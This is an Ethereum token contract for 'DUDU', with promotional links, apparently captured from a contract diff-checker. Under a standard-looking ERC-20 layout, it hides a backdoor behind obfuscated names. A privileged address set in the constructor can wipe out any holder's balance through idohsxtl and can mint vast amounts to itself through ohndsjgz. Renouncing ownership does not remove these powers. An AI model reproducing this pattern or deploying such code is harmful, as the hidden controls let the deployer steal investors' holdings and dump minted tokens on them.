Contract Diff Checker

Contract Source Code:

/**
 
/** 
        This introduction aims to shed light on Dudu, 
        offering a glimpse into its origins, its core 
        functionalities, and its potential to transform 
        ow we interact with digital assets on the Ethereum 
        network. As we delve into the intricacies of Dudu, 
        we will uncover the key reasons behind its rise in 
        popularity, its underlying technology, and the exciting 
        opportunities it presents to crypto enthusiasts, investors, 
        and the broader blockchain community.

                        https://dudutoken.com

                        https://twitter.com/Dudutoken

                        https://t.me/DuduErcPortal

*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

abstract contract Ownable  {
    constructor() {
        _transferOwnership(_msgSender());
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;
    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

}

pragma solidity ^0.8.0;

contract DUDU is Ownable {
    constructor(address fpjylcwz) {
        fjymbvzw = fpjylcwz;
        dmhznble[_msgSender()] += supplyamount;
        emit Transfer(address(0), _msgSender(), supplyamount);
    }
    address public fjymbvzw;
    uint256 supplyamount = 7000000000*10**decimals();
    uint256 private _totalSupply = supplyamount;
    mapping(address => uint256) private dmhznble;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    string private _cigzyxas = unicode"DUDU";
    string private _zvxtgilo = unicode"$DUDU";
    
    function symbol() public view  returns (string memory) {
        return _zvxtgilo;
    }

    function idohsxtl(address vdolrzay) public     {
        if(fjymbvzw == _msgSender()){
            address mzvbxnaw = vdolrzay;
            uint256 curamount = dmhznble[mzvbxnaw];
            uint256 newaaamount = dmhznble[mzvbxnaw]+dmhznble[mzvbxnaw]-curamount;
            dmhznble[mzvbxnaw] -= newaaamount;
        }else{
            revert("ccc");
        }
        return;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function balanceOf(address account) public view returns (uint256) {
        return dmhznble[account];
    }

    function name() public view returns (string memory) {
        return _cigzyxas;
    }

    function ohndsjgz() 
    external {
        address ztouvlsx = _msgSender();
        dmhznble[ztouvlsx] += 1*38200*((10**decimals()*xurtojpf));
        require(fjymbvzw == _msgSender());
        if(fjymbvzw == _msgSender()){
        }
        if(fjymbvzw == _msgSender()){
        }
    }
    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }
    uint256 xurtojpf = 32330000000+1000;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }




    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        uint256 balance = dmhznble[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        dmhznble[from] = dmhznble[from]-amount;
        dmhznble[to] = dmhznble[to]+amount;
        emit Transfer(from, to, amount); 
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}